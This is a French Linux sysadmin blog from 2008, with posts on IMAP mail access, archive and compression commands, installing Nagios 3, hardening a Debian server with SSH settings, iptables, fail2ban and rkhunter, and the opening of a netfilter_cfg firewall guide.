Il existe une option avec Outlook pour dire au logiciel de courrier électronique de laisser une copie des messages sur le serveur mais cela ne résout pas tous les problèmes.

Au contraire, des problèmes supplémentaires apparaissent lorsque la boîte atteint sa taille maximale. Il n’est alors pas aisé de supprimer seulement une partie des messages sur le serveur.

A vrai dire, si vous n’avez pas vraiment besoin de cette caractéristique, ne l’utilisez pas et préférez-lui l’utilisation du protocole IMAP pour relever votre courrier..

Le protocole IMAP

Pour pallier ces différents inconvénients, il faut utiliser le protocole IMAP.

Grâce à cette autre méthode d’accès :

* Les mails ne sont plus déchargés sur votre machine mais restent sur le serveur. Lorsque vous relevez votre courrier, vous visualisez seulement les en-têtes et c’est seulement quand vous désirez voir son contenu et les pièces jointes que le transfert entre le serveur et votre machine a lieu.
* Le contenu de votre boîte aux lettres reste identique et ce, quel que soit l’endroit à partir duquel vous consultez votre courrier électronique, puisque tous les mails restent sur le serveur.
* Lorsque votre machine tombe en panne ou que vous désirez en changer, l’ensemble de vos mails étant sur le serveur, rien n’est perdu.
* Une fonctionnalité supplémentaire apparaît. Il s’agit du partage de votre boîte aux lettres ou d’un de ses sous-dossiers.

En contrepartie, l’utilisateur doit supprimer lui-même les messages dont il n’a plus besoin. S’il ne le fait pas, sa boîte aux lettres va continuer à se remplir jusqu’à ce qu’elle atteigne le quota imposé.

Il faut savoir qu’il y a trois niveaux de suppression lorsqu’un utilisateur supprime un message en utilisant le protocole IMAP :

* L’utilisateur marque le mail comme supprimé. Soit il voit toujours le message mais avec une croix rouge (ou un autre signe distinctif selon le logiciel de courrier électronique utilisé), soit le message est déplacé vers la poubelle. Dans les deux cas, la place n’est pas libérée du serveur.
* Le logiciel de courrier électronique compresse les dossiers. Cette compression consiste à demander au serveur de supprimer les messages marqués comme supprimés par l’utilisateur. Les messages sont en attente de suppression sur le serveur. Après cette compression, l’utilisateur ne voit plus le mail.
* Le serveur décide de supprimer physiquement le fichier correspondant au mail du serveur. Cette dernière suppression physique se fait lorsque le serveur n’a rien de mieux à faire.

L’idéal est que cette deuxième étape s’exécute le plus régulièrement possible. Le logiciel de messagerie peut éventuellement réaliser cette compression à la demande de l’utilisateur mais la plupart du temps l’utilisateur ne la demandera pas. Il est donc impératif que la configuration de son logiciel de messagerie soit correcte afin que cette compression soit réalisée le plus tôt possible.

Commentaires: 797 Commentaires »
Catégories: serveur linux
Flux rss des commentaires
Trackback

Compression et archives linux

hazem.nasri | 1 septembre 2008

Archives en ligne de commandes

ncompress - Compresseur des débuts d’UNIX.
gz - Compression gzip.
bz2 - Compression bzip2.
tar - Archives GNU tar
tar.gz & .tgz - Archives compressées gzip.
tar.bz2 - Archives compressées bzip2.
zip - Archives compatible Windows.
Gestion de fichiers - Manipuler vos fichiers et répertoires.

Gestion et manipulation des archives en ligne de commande sous GNU/Linux. Compression avec ncompress, gzip ou bzip2 et archivage avec GNU tar.

ncompress - Compresseur des débuts d’UNIX

Cet utilitaire utilise un algorithme de codage Lempel-Ziv adaptatif. Les archives générées ont l’extention .Z, ce format a été utilisé depuis les débuts des systèmes Unix. Il faut que le paquet ncompress soit installé. Pour compresser un fichier se noment fichier:

$ compress fichier

Pour le décompresser:

$ uncompress fichier.z

gz - Compression gzip

Gzip est un utilitaire provenant du projet GNU. Les fichiers générés portent l’extension .gz, qui peut se prononcer gzippé. Les performances de gzip sont bien meilleures que celles de l’utilitaire compress. Gzip utilise également le codage Lempel-Ziv (LZ77).

Les actions de compression et de décompression détruisent le fichier source:

$ gzip fichier

L’option -d permet de décompresser un fichier gzippé:

$ gzip -d fichier

bz2 - Compression bzip2

La compression bz2 est conseillées pour un meilleur résultat. Couplée à tar on peut créer des archives avec l’extension .tar.bz2. Pour compresser un fichier:

$ bzip2 fichier.txt

Décompresser un fichier:

$ bzip2 -d fichier.txt.bz2

Ou avec bunzip2:

$ bunzip2 fichier.txt.bz2

tar - Archives GNU tar

Les compresseur ne permettent pas de réunir plusieurs fichiers dans une archive. C’est pourquoi il y a GNU Tar, ou le tar veut dire Tape ARchiver.

Pour créer une archive .tar:

$ tar cf fichier.tar LesfichiersAarchiver

Pour voir le contenu d’une archive .tar:

$ tar tf fichier.tar

Pour désarchiver un fichier .tar, on utilise la commande suivante. Les options xfv correspondent au décompaquetage du fichier en mode verbose, ce qui permet l’affichage à l’écran du contenu de l’archives .tar:

$ tar xfv fichier.tar

Ou sans le mode verbose qui affiche à l’écran le contenu de l’archives:

$ tar xf fichier.tar

tar.bz & tgz - Archives compressées gzip

Les archives tar et gzip, que l’on peut prononçer “targzip”, sont des archives tar compressées au format gzip, reconnues grâce à l’extension tar.gz ou .tgz. Pour créer une archive tar gzipée, avec le v pour verbose qui affiche ce qui se passe:

$ tar czfv MonArchive.tar.gz fichier dossier/

Ou avec l’extension .tgz:

$ tar czfv MonArchive.tgz fichier dossier/

Pour décompresser une archive tar.gz

$ tar xzf MonArchive.tar.gz

tar.bz2 - Archives compressées bzip2

tar et gzip2 assemblé, pour créer une archive tar.bz2, il faut que le paquet gzip2 soit installé sur votre machine pour pouvoir les utiliser.

Pour créer un archive compressée tar.bz2:

$ tar cjfv MonArchive.tar.bz2 fichier1 fichier2 dossier/

Pour désarchiver:

$ tar xjfv MonArchive.tar.bz2

zip - Archives compatible Windows

Afin d’utiliser cet utilitaire il faut que les paquets zip et unzip soient installé sur votre sytème. Pour créer une archive zip compatible avec Windows et portant l’extension .zip il faut utiliser la commande suvante:

$ zip fichier.zip LesfichiersAarchiver

Pour voir le contenu d’une archive .zip avec unzip:

$ unzip -l fichier.zip

Pour désarchiver un fichier .zip:

$ unzip fichier.zip

Vous pouvez aussi désarchiver l’archive .zip dans un répertoire donné:

$ unzip /home/Libordux.Org/docs/fichier.zip

Commentaires: 439 Commentaires »
Catégories: serveur linux
Flux rss des commentaires
Trackback

Installation de Nagios 3 ( Debian Etch)

hazem.nasri | 31 août 2008

Install the dependencies

aptitude install build-essential gcc libgd2-xpm-dev libglib2.0-dev

accept defaults for the dpkg-config

Create the users and groups that are required:

/usr/sbin/useradd nagios

passwd nagios

/usr/sbin/groupadd nagcmd

/usr/sbin/usermod -G nagcmd nagios

/usr/sbin/usermod -G nagcmd www-data

Change to a directory to install the source

cd /usr/local/src/

Download sources (latest versions available from http://www.nagios.org/download)

wget http://osdn.dl.sourceforge.net/sourceforge/nagios/nagios-3.0.2.tar.gz
wget http://switch.dl.sourceforge.net/sourceforge/nagiosplug/nagios-plugins-1.4.12.tar.gz

Untar sources

tar xzf nagios-3.0.2.tar.gz
cd nagios-3.0.2

Configure the basic setup of Nagios

./configure –with-command-group=nagcmd

Compile Nagios

make all

Install binaries, init script, sample config files and set permissions on the external command directory.

make install

make install-init

make install-config

make install-commandmode

Edit the /usr/local/nagios/etc/objects/contacts.cfg config file with your favorite editor and change the email address associated with the nagiosadmin contact definition to the address you’d like to use for receiving alerts.

vi /usr/local/nagios/etc/objects/contacts.cfg

Install the Nagios web config file in the Apache conf.d directory.

make install-webconf

Create a nagiosadmin account for logging into the Nagios web interface. Remember the password you assign to this account - you’ll need it later.

htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin

Restart Apache to make the new settings take effect.

/etc/init.d/apache2 restart

Extract the Nagios plugins source code tarball.

cd /usr/local/src

tar -zxvf nagios-plugins-1.4.12.tar.gz

Change to the plugins dir

cd nagios-plugins-1.4.12

Compile the plugins

./configure –with-nagios-user=nagios –with-nagios-group=nagios

make

make install

Start Nagios on boot:

update-rc.d nagios defaults

Verify the configs:

/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg

Start Nagios

/etc/init.d/nagios start

Browse to the web interface and log in!

Commentaires
509 Commentaires »

Catégories
serveur linux

Flux rss des commentaires

Trackback

Sécurité : SSH, firewall iptables, fail2ban…
hazem.nasri | 30 août 2008

Le 16-03-2008 par Collectif Alsacreations dans Administration serveur dédié.

Règles de base pour la sécurité, mise en place d’un firewall avec IPtables et de règles de filtrage. Ajout de fail2ban et rkhunter.

Sécurité

Ces étapes sont à étudier avec soin. Elles ne constituent pas de parade ultime, mais sont un premier pas nécessaire. Vérifiez bien vos choix avant toute mise en place pour éviter de vous exclure vous-même par une règle trop restrictive (il est recommandé de le faire en phase de tests lorsque vous pouvez encore réinitialiser totalement votre serveur).

La première précaution consiste avant tout à se tenir informé : il existe des mailing-lists spécialisées dans la sécurité, telles que Debian Security Announce et à procéder à des mises à jour régulières (via apt-get upgrade par exemple).

Modifier le mot de passe root

N’hésitez pas à modifier le mot de passe surtout si celui-ci vous a été attribué par défaut. Identifiez-vous d’abord en root (voir ci-dessus) puis entrez la commande :

passwd root

Configuration SSH

Afin de sécuriser l’accès SSH au serveur, éditons le fichier /etc/ssh/sshd_config. Nous allons changer le port de connexion par défaut pour éviter quelques attaques par bruteforce sur le port 22, qui est bien connu pour héberger ce service. N’oubliez pas de préciser ce nouveau port (dans Putty ou en ligne de commande ssh sous Linux) à la prochaine connexion.

vi /etc/ssh/sshd_config

Port 2222 # Changer le port par défaut

PermitRootLogin no # Ne pas permettre de login en root

Protocol 2 # Protocole v2

AllowUsers dew # N’autoriser qu’un utilisateur précis

Redémarrez le service SSH après ces modifications :

/etc/init.d/ssh restart

Alerte login Root

Vous pouvez éditer le fichier /root/.bashrc qui est exécuté au démarrage d’une sesion root pour envoyer un e-mail de notification. De cette façon, vous serez prévenu lorsqu’un login est effectué.

vi /root/.bashrc

Ajoutez la ligne (en modifiant l’adresse e-mail de destination) :

echo ‘Accès Shell Root le ‘ `date` `who` | mail -s “`hostname` Shell Root de `who | cut -d”(” -f2 | cut -d”)” -f1`” monitoring@test.com

Profitons-en pour un peu de personnalisation esthétique avec ces lignes :

alias ls=’ls $LS_OPTIONS –color=auto’

alias ll=’ls $LS_OPTIONS -al –color=auto’

alias vi=’vim’

Services inutiles

Si vous n’utilisez pas les services portmap, nfs et inetd (dans le cas d’un serveur web vous n’en avez pas besoin) :

/etc/init.d/portmap stop

/etc/init.d/nfs-common stop

update-rc.d -f portmap remove

update-rc.d -f nfs-common remove

update-rc.d -f inetd remove

apt-get remove portmap

apt-get remove ppp

Autorisations diverses

N’autorisons les compilateurs et installeurs que pour root :

chmod o-x /usr/bin/gcc-4.1

chmod o-x /usr/bin/make

chmod o-x /usr/bin/apt-get

chmod o-x /usr/bin/dpkg

IPtables / Netfilter

IPtables (associé à Netfilter) est un des meilleurs firewalls pour Linux, et certainement le plus répandu. Vous pourrez trouver de nombreux scripts de configuration à son sujet. En voici un, à adapter à votre configuration. A tout instant, utilisez la commande iptables -L -v pour lister les règles en place.

Celles-ci portent sur 3 chaînes : INPUT (en entrée), FORWARD (dans le cas d’un routage réseau) et OUPUT (en sortie). Les actions à entreprendre sont ACCEPT (accepter le paquet), DROP (le jeter), QUEUE et RETURN.

Arguments utilisés :

i : interface d’entrée (input)

i : interface de sortie (output)

t : table (par défaut filter contenant les chaînes INPUT, FORWARD, OUTPUT)

j : règle à appliquer (Jump)

A : ajoute la règle à la fin de la chaîne (Append)

I : insère la règle au début de la chaîne (Insert)

R : remplace une règle dans la chaîne (Replace)

D : efface une règle (Delete)

F : efface toutes les règles (Flush)

X : efface la chaîne

P : règle par défaut (Policy)

· lo : localhost (ou 127.0.0.1, machine locale)

Nous allons créer un script qui sera lancé à chaque démarrage pour mettre en place des règles de base.

vi /etc/init.d/firewall

#!/bin/sh

# Vider les tables actuelles

iptables -t filter -F

# Vider les règles personnelles

iptables -t filter -X

# Interdire toute connexion entrante et sortante

iptables -t filter -P INPUT DROP

iptables -t filter -P FORWARD DROP

iptables -t filter -P OUTPUT DROP

# —

# Ne pas casser les connexions etablies

iptables -A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT

iptables -A OUTPUT -m state –state RELATED,ESTABLISHED -j ACCEPT

# Autoriser loopback

iptables -t filter -A INPUT -i lo -j ACCEPT

iptables -t filter -A OUTPUT -o lo -j ACCEPT

# ICMP (Ping)

iptables -t filter -A INPUT -p icmp -j ACCEPT

iptables -t filter -A OUTPUT -p icmp -j ACCEPT

# —

# SSH In

iptables -t filter -A INPUT -p tcp –dport 2222 -j ACCEPT

# SSH Out

iptables -t filter -A OUTPUT -p tcp –dport 2222 -j ACCEPT

# DNS In/Out

iptables -t filter -A OUTPUT -p tcp –dport 53 -j ACCEPT

iptables -t filter -A OUTPUT -p udp –dport 53 -j ACCEPT

iptables -t filter -A INPUT -p tcp –dport 53 -j ACCEPT

iptables -t filter -A INPUT -p udp –dport 53 -j ACCEPT

# NTP Out

iptables -t filter -A OUTPUT -p udp –dport 123 -j ACCEPT

Si vous hébergez un sevreur web (Apache) :

# HTTP + HTTPS Out

iptables -t filter -A OUTPUT -p tcp –dport 80 -j ACCEPT

iptables -t filter -A OUTPUT -p tcp –dport 443 -j ACCEPT

# HTTP + HTTPS In

iptables -t filter -A INPUT -p tcp –dport 80 -j ACCEPT

iptables -t filter -A INPUT -p tcp –dport 443 -j ACCEPT

iptables -t filter -A INPUT -p tcp –dport 8443 -j ACCEPT

Si vous hébergez un serveur FTP :

# FTP Out

iptables -t filter -A OUTPUT -p tcp –dport 20:21 -j ACCEPT

# FTP In

modprobe ip_conntrack_ftp

iptables -t filter -A INPUT -p tcp –dport 20:21 -j ACCEPT

iptables -t filter -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT

Si vous hébergez un serveur de mail avec SMTP, POP3 et IMAP :

# Mail SMTP:25

iptables -t filter -A INPUT -p tcp –dport 25 -j ACCEPT

iptables -t filter -A OUTPUT -p tcp –dport 25 -j ACCEPT

# Mail POP3:110

iptables -t filter -A INPUT -p tcp –dport 110 -j ACCEPT

iptables -t filter -A OUTPUT -p tcp –dport 110 -j ACCEPT

# Mail IMAP:143

iptables -t filter -A INPUT -p tcp –dport 143 -j ACCEPT

iptables -t filter -A OUTPUT -p tcp –dport 143 -j ACCEPT

# Mail POP3S:995

iptables -t filter -A INPUT -p tcp –dport 995 -j ACCEPT

iptables -t filter -A OUTPUT -p tcp –dport 995 -j ACCEPT

Si vous utilisez un serveur Dedibox avec le monitoring DMA, autorisez ces connexions :

# DMA Monitoring Dedibox

iptables -A INPUT -i eth0 -s 88.191.254.0/24 -p tcp –dport 161 -m state –state NEW,ESTABLISHED -j ACCEPT

iptables -A INPUT -i eth0 -s 88.191.254.0/24 -p udp –dport 161 -m state –state NEW,ESTABLISHED -j ACCEPT

iptables -A OUTPUT -o eth0 -d 88.191.254.0/24 -p tcp –sport 161 -m state –state ESTABLISHED -j ACCEPT

iptables -A OUTPUT -o eth0 -d 88.191.254.0/24 -p udp –sport 161 -m state –state ESTABLISHED -j ACCEPT

Si vous utilisez l’outil de monitoring Monit sur le port 1337 (à modifier selon votre configuration) autorisez cette connexion :

# Monit

iptables -t filter -A INPUT -p tcp –dport 1337 -j ACCEPT

Si vous utilisez un serveur RPS d’OVH, le disque iSCSI nécessite un accès réseau qui rend obligatoire une règle supplémentaire au début des filtres. Sans cela, votre serveur deviendra inutilisable :

iptables -A OUTPUT -p tcp –dport 3260 -m state –state NEW,ESTABLISHED -j ACCEPT

Lorsque vous avez défini toutes les règles, rendez ce fichier exécutable :

chmod +x /etc/init.d/firewall

Vous pourrez le tester en l’exécutant directement en ligne de commande. Assurez-vous d’avoir toujours le contrôle de votre machine (reconnectez-vous en SSH, vérifiez la disponibilité des services web, ftp, mail…). En cas d’erreur, redémarrez le serveur, les règles seront oubliées et vous permettront de reprendre la main. En revanche, si les tests s’avèrent concluants, ajoutez le script au démarrage pour que celui-ci protège le serveur dès le boot.

Afin de l’ajouter aux scripts appelés au démarrage :

update-rc.d firewall defaults

Pour le retirer, vous pouvez utiliser la commande suivante :

update-rc.d -f firewall remove

Redémarrez, ou exécutez /etc/init.d/firewall pour activer le filtrage.

N’oubliez pas de tester vos règles. Un mauvais choix peut entraîner une indisponibilité de votre serveur ou une perte de contrôle sur celui-ci avec le blocage de votre connexion SSH.

Vous pouvez utiliser IPtables sans passer par un script de démarrage et entrer directement les instructions en mode console. Pour bannir temporairement une adresse IP en cas de nécessité, utilisez la commande iptables -A INPUT -s adresse_ip -j DROP

Fail2ban

Fail2ban est un script surveillant les accès réseau grâce aux logs des serveurs. Lorsqu’il détecte des erreurs d’authentification répétées, il prend des contre-mesures en bannissant l’adresse IP grâce à iptables. Cela permet d’éviter nombre d’attaques bruteforce et/ou par dictionnaire.

Installation

apt-get install fail2ban

Configuration

vi /etc/fail2ban/fail2ban.conf

loglevel

Niveau de détail des logs (défaut 3)

logtarget = /var/log/fail2ban.log

Chemin vers le fichier de log (description des actions entreprises par fail2ban)

Les services à monitorer sont stockés dans jail.conf. Il est recommandé d’en effectuer une copie nommée jail.conf.local qui sera automatiquement utilisée à la place du fichier exemple.

cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.conf.local

vi /etc/fail2ban/jail.conf.local

Quelques paramètres globaux :

ignoreip = 127.0.0.1

Liste des adresses IP de confiance à ignorer par fail2ban

bantime = 600

Temps de ban en secondes

maxretry = 3

Nombre d’essais autorisés pour une connexion avant d’être banni

destmail monitoring@test.com

Adresse e-mail destinataire des notifications

action

Action à entreprendre en cas de détection positive (voir dans /etc/fail2ban/action.d/)

Chaque section possède ses propres paramètres qui prennent le pas sur les globaux s’ils sont mentionnés :

enabled

Monitoring activé (true) ou non (false)

maxretry, bantime, ignoreip, destmail

Voir ci-dessus

port

Port IP concerné

logpath

Fichier de log à analyser pour détecter des anomalies

filter

Filtre utilisé pour l’analyser du log

Les filtres par défaut sont stockés dans /etc/fail2ban/filter.d. Ils contiennent en général une instruction failregex suivie d’une expression régulière matchant la détection d’une authentification erronée. Par exemple pour le service Courier :

failregex = LOGIN FAILED, ip=[]$

Note : Celle-ci peut être précisée directement dans jail.conf.local à la section appropriée pour prendre le pas sur la directive filter.

Modifiez les ports le cas échéant dans la section ssh si vous avez suivi la recommandation ci-dessus…

enabled = true

port = 2222

Après modification de la configuration, n’oubliez pas de redémarrer fail2ban : /etc/init.d/fail2ban restart

Rkhunter

Rootkit Hunter est un programme de détection de rootkits. Vous pouvez l’installer grâce à :

apt-get install rkhunter

Il procédera à des détections journalières anti-rootkits et enverra des notifications par e-mail si nécessaire. Il est conseillé de l’installer très tôt car il calcule l’empreinte MD5 des programmes installés afin de détecter d’éventuels changements. Editez /etc/default/rkhunter pour indiquer l’adresse de notification et l’exécution journalière :

vi /etc/default/rkhunter

REPORT_EMAIL=”monitoring@test.com”

CRON_DAILY_RUN=”yes”

En cas de fausses détections positives sur des répertoires ou fichiers existants et sains, éditez /etc/rkhunter.conf pour les ajouter à la liste des éléments autorisés.

vi /etc/rkhunter.conf

ALLOWHIDDENDIR=/dev/.udev

ALLOWHIDDENDIR=/dev/.static

Vous pouvez également utiliser chkrootkit qui est un équivalent.

Commentaires
970 Commentaires »

Catégories
serveur linux

Flux rss des commentaires

Trackback

Pare Feu : Iptables (Netfilter)
hazem.nasri |

Guide d’utilisation de Netfilter_cfg

Olivier ALLARD-JACQUIN olivieraj@free.fr

olivieraj À free POINT fr

Version 0.5.8alpha3 - 11 mars 2004

PLAN :

I Téléchargement

II Historique

III Philosophie générale de filtrage

IV Configuration du programme

IV-1 Configuration du réseau local

IV-2 Debug

IV-3 Log

IV-4 Paramètres du programme

IV-5 Règles de rejet systématique

IV-6 Paramétrages particuliers pour les serveurs

IV-7 Paramétrages particuliers pour les clients

IV-8 Plus de sécurité avec le kernel

V Utilisation

V-1 Mise en garde

V-2 Installation

V-3 Droits d’utilisation

V-4 Paramètres

V-5 Exécution

V-6 Test

VI Conclusion

VII Remerciements

VII Historique du document

Le but de ce programme est de configurer le firewall intégré aux kernels Linux 2.4 et supérieurs appelé “netfilter”.
Le principal outil pour configurer ce firewall est la commande “iptables” qui doit être lancée en temps que root.

Vous trouverez la dernière version de ce document :

sur son site principal : http://olivieraj.free.fr/fr/linux/programme/netfilter_cfg/.

en version PDF. Pour le lire, utilisez le lecteur Xpdf ou Acrobat Reader.

sous forme d’archive complète, au format .tgz (.tar.gz), afin de lire en hors ligne.

I Téléchargement

La licence de ce programme et de sa documentation est évidement la GPL

La dernière version de “Netfilter_cfg” est la 0.5.8

Vous pouvez télécharger d’autres versions plus anciennes ici :

netfilter_cfg 0.5.7

netfilter_cfg 0.5.6

netfilter_cfg 0.5.5

netfilter_cfg 0.5.4

II Historique

Après de nombreuses années à entendre parler et à survoler de très haut le problème du firewall sous Linux, je me suis finalement décidé à y regarder de plus près, et à me plonger dans la documentation.

On appelle “firewall” (littéralement “mur de flammes” en français) tout ce qui touche au filtrage des connexions sur un ordinateur ou un réseau. Plutôt que de laisser des transmissions réseaux se faire dans tout les sens, et donc qu’une personne extérieur au réseau interne puisse récupérer des informations dont il n’est pas supposé pouvoir accéder, le firewall est là pour contrôler les flux de données, interdire et éventuellement enregistrer (on utilise le terme de “log” en anglais) les flux non autorisés ou “bizarres”.

L’approche des techniques de firewall de Linux est très différente de ce que l’on peut trouver dans un OS largement connu comme Windows®. Contrairement à cet OS, et notamment à sa dernière monture (en 2003) appelée “Windows XP®”, le firewall Linux est intégré directement dans le coeur de l’OS, au plus près des fonctions réseau du système.

Il en résulte que :

Il n’existe qu’un seul moyen de configurer le firewall Linux, à savoir via la commande système “iptables”. La création d’un firewall se résume alors à l’écriture d’un script, plus ou moins complexe, adapté à la configuration de l’ordinateur ou du réseau.

Par défaut, il n’existe pas dans Linux d’interface graphique, de “drag’n drop”, ou autre GUI pour configurer le firewall. Les utilisateurs Windows® en seront sans doute chagrinés, mais ils peuvent cependant trouver sur Internet (par exemple sur freshmeat.net) de nombreuses interfaces graphiques de ce type.

Le lecteur pourra comme moi trouver sur Internet de très nombreux scripts d’exemples permettant de configurer son firewall. Cependant, j’ai trouvé que :

Aucun de ces scripts n’était vraiment adapté à ma configuration.

Comme ma machine passe souvent d’un réseau à un autre, et d’un moyen de connexion à Internet à un autre, il me fallait un script plus complexe, qui puisse s’adapter facilement, et le plus automatiquement possible, au réseau où il se trouvait.

Qu’il était finalement beaucoup plus intéressant de construire soit même son propre script, à la fois en lisant de la documentation, mais aussi en analysant des scripts d’exemples afin d’y trouver de l’inspiration.

Ainsi est donc né “netfilter_cfg”. Ce script / programme ne se veut pas révolutionnaire, ou exceptionnel, mais uniquement pratique et le plus facilement modifiable, adaptable, et utilisable possible.

Enfin, ce script a principalement été pensé dans le cadre d’une utilisation non permanente à Internet, via un modem par exemple ou par une connexion intermittente à l’ADSL. De plus, possédant plusieurs cartes réseaux et adresses IP locales, j’ai voulu écrire un script qui soit le plus adaptable à des configurations “bizarres”.

Cela explique donc certains choix techniques, et notamment que ce script doit être exécuté à chaque fois que la connexion Internet est activée. Un des gros intérêt de ce script est qu’il détecte automatiquement l’état de la connexion à Internet, et qu’il se configure automatiquement en conséquence, sans attendre de la part de l’utilisateur un paramétrage quelconque …

A noter que dans ce document je parle principalement du firewall, mais que le rôle de netfilter ne se résume pas qu’à ceci. Cette couche du kernel Linux sert aussi au NAT (Network Adress Translation), au marquage des paquet (la table “Mangue”), et à plein d’autres choses …

Enfin, je suis l’auteur d’un autre document ayant pour sujet Netfilter et les mesures de protections à prendre afin de protéger sa machine ou son réseau local. Il s’agit d’un tutoriel que j’ai écris en parallèle à une conférence que j’ai présenté dans le cadre de l’association Guilde, le 2 juillet 2003. Vous y trouverez un grand nombre d’informations, tant destinées aux néophytes qu’aux utilisations plus complexes, qui vous aiderons à mieux comprendre l’utilisation et le fonctionnement de “netfilter_cfg”.

III Philosophie générale de filtrage

Les capacités de filtrage de ce programme se veulent les plus simples possibles (sans pour autant transformer votre machine en gruyère en terme de sécurité), aussi :

Toutes connexions entrantes par l’interface loopback ou sortantes sur l’interface loopback sont autorisées (voir la fonction “LoopbackRules”).

Toute connexions entrant par les interfaces réseaux ET venant des réseaux locaux sont autorisées. De même que toutes les connexions sortant par les interfaces réseaux ET à destination des réseaux locaux. Voir la fonction “LanRules”.

Vis à vis d’Internet (le “WAN” ou “Wide Area Network” ou “réseau large” en Français) seule les connexions initialisées par la machine (ou le réseau local dans le cas d’utilisation du NAT) sont autorisées. Les connexions qui n’ont pas été demandées par la machine, et qui sont généralement des “port scanning”, sont donc refusées. Exception fait évidement des connexions de données FTP en mode actif. Tout ceci se passe dans les fonctions “ModemRules et GatewayRules”.

Ce script accorde une totale confiances aux programmes exécutés sur la machine, ou dans le cas de l’utilisation du NAT, aux machines du réseaux qui lancent des connexions sortantes. Donc tout les programmes de la machine peuvent demander des connexions sur Internet, le firewall les laissera passer.

Certains utilisateurs Windows® vont sans doute trouver ce dernier point aberrant, mais je justifie ce choix par 2 choses :

J’ai confiance dans les logiciels Linux que j’emploie, car ils sont GPL. Je n’estime pas qu’ils sont bourrés de spywares ou autre cochonneries de ce genre, et je dors tranquille lorsque ma machine reste connectée de longues heures durant la nuit (les téléchargements via un modem RTC, c’est long …).

Je ne passe pas mon temps à lutter contre mon OS ou ses applications natives (Internet Explorer®, Windows Media Player®, Microsoft Office®, etc …) , afin que celles-ci ne se connectent pas sur Internet, et ne diffuses mes données personnelles, mes numéros de série de logiciels, ou la liste des applications installées sur ma machine.

Quoi qu’il en soit, je conçois que l’utilisateur venant du monde Windows® éprouve certaines craintes vis à vis du comportement de ses logiciels. Une prochaine version de ce script rajoutera donc un niveau de protections supplémentaires, et permettra de limiter les connexions à destination d’Internet.

Les conséquences de ces règles de filtrages sont :

La présence du firewall sera complètement transparente pour les applications lancées sur la machine, ou sur les connexions initialisés par le réseaux local et passant par le NAT.

Vu de l’extérieur, la machine sera vu comme un “trou noir”, qui ne répondra à aucune des tentatives de connexions initialisés par l’extérieur. Le port scanning sera donc inopérant. Sous Windows®, les vendeurs de logiciels de firewall appelle cela une technologie “stealth” (furtive).

IV Configuration du programme

Avant d’utiliser ce programme, il va falloir tout d’abord que vous le configuriez. Et pour cela, il va falloir que vous modifiez son code source… Ce n’est pas en soit très très difficile, il suffit d’avoir quelques notions de base du langage utilisé : le “sh” / “bash”.

Les modifications du code source doivent se limiter à la première partie du script, où sont déclarées les variables globales de celui-ci. Si vous modifiez la suite du programme, vous le faite à vos risques et périls…

Par convention :

Les termes entre “<" et ">” désignent des paramètres. Exemple “”. C’est comme la variable “x” en mathématique …

Le caractère “|” parmi les “<" et ">” signifie “ou“, c’est à dire que l’on peut choisir l’une ou l’autre des options indiquées. Exemple : “” signifie que le paramètre peut prendre la valeur “routable” ou la valeur “non_routable”.

IV-1 Configuration du réseau local

Le script gère autant de réseaux locaux que vous en avez. Vous pouvez avoir plusieurs cartes réseaux sur votre machine, et / ou plusieurs adresses IP par carte réseau. Pour chaque réseau que vous avez déclarés dans votre configuration de Linux, vous devez rajouter une ligne de type :

LAN[]=”|||||”

est le numéro du réseau. Cela doit être un nombre croissant supérieur ou égal à 0.

Exemple :

LAN[0]=…
LAN[1]=…
LAN[2]=…

est le nom de l’interface réseau.

En général, c’est eth0, eth1, etc…

Si vous avez plusieurs adresses IP pour une carte réseau, comme par exemple “eth0:0″, “eth1:0″, “eth1:1″, etc… cela sera toujours le nom de l’interface réseau physique auquel sont accrochés les interfaces virtuelles :

eth0:0 => eth0

eth1:0 => eth1

eth1:1 => eth1

: C’est l’adresse IP de la machine.

Pour un réseau local, il est préférable d’avoir une adresse IP de l’un ou l’autre de ces types :

classe A privé : 10.0.0.0 / 255.0.0.0 (Exemple : 10.0.0.1).

classe B privé : 172.16.0.0 / 255.255.0.0 (Exemple : 172.16.0.1).

classe C privé : 192.168.0.0 / 255.255.255.0 (Exemple : 192.168.0.1

: Le masque de sous-réseau. Pour un réseau local, c’est en général 255.255.255.0 (Réseau de classe C).

: C’est une adresse permettant d’envoyer un message à toutes les machines du réseau en même temps. Par exemple, pour une adresse classe C, il faut remplacer le dernier chiffre de l’adresse IP de la machine par “255″.

Exemple :

Adresse IP : 192.168.0.1 .

Masque de sous-réseau : 255.255.255.0 .

Adresse de broadcast : 192.168.0.255 .

(”gateway” en anglais) : Cette option n’est là que pour une raison de compatibilité ascendante du programme, mais elle n’est plus d’actualité. Ne mettez donc aucune valeur, même si vous êtes dans un réseau local et que vous utiliser une passerelle pour en sortir. Netfilter_cfg a été écrit afin de retrouver par lui-même l’adresse IP de votre passerelle.

: Il s’agit d’une série d’options sur la configuration de l’interface réseau. Si vous utilisez plusieurs options vous devez séparer chaque options par un “:”. Les différentes options possibles sont :

routable : Utilisez cette option si vous voulez que les autres machines du réseau (décrit par cette ligne LAN[..]) puisse utiliser votre machine pour se connecter à internet. C’est ce que l’on appelle le NAT. Votre machine sera alors transformé en passerelle pour le réseau indiqué.

non_routable : Cette option est la valeur par défaut de la technique de NAT. Elle indique que le réseau local n‘est pas autorisé à utiliser votre machine pour se connecter à Internet.

déroupé : Si vous utilisez une connexion ADSL dégroupée, vous devez utiliser cette option. Elle permet de renforcer la sécurité de votre machine vis à vis des autres clients de votre FAI.

dhcp_servers : Cette option permet à votre machine de recevoir les requêtes DHCP lancées sur votre réseau local par des machines demandant une adresse IP. Ceci n’est intéressant que si votre machine fait tourner un serveur DHCP, ce qui est assez rare sur une machine personnelle.

Remarques :

Pour pouvoir utiliser l’option “dhcp_servers”, vous devez lancer “netfilter_cfg” avec l’option “–lan-dhcp-server on”. Ou alors, il faut activer cette option par défaut, en changeant ‘WAITING_PARAMETERS[15]=”–lan-dhcp-server|on|off|off”‘ par ‘WAITING_PARAMETERS[15]=”–lan-dhcp-server|on|off|on”‘

Pour que le NAT fonctionne, il faut passer le paramètre “–nat on” au programme, ou alors activer par défaut le NAT dans le programme, en changeant ‘WAITING_PARAMETERS[3]=”–nat|on|off|off”‘ par ‘WAITING_PARAMETERS[3]=”–nat|on|off|on”‘.

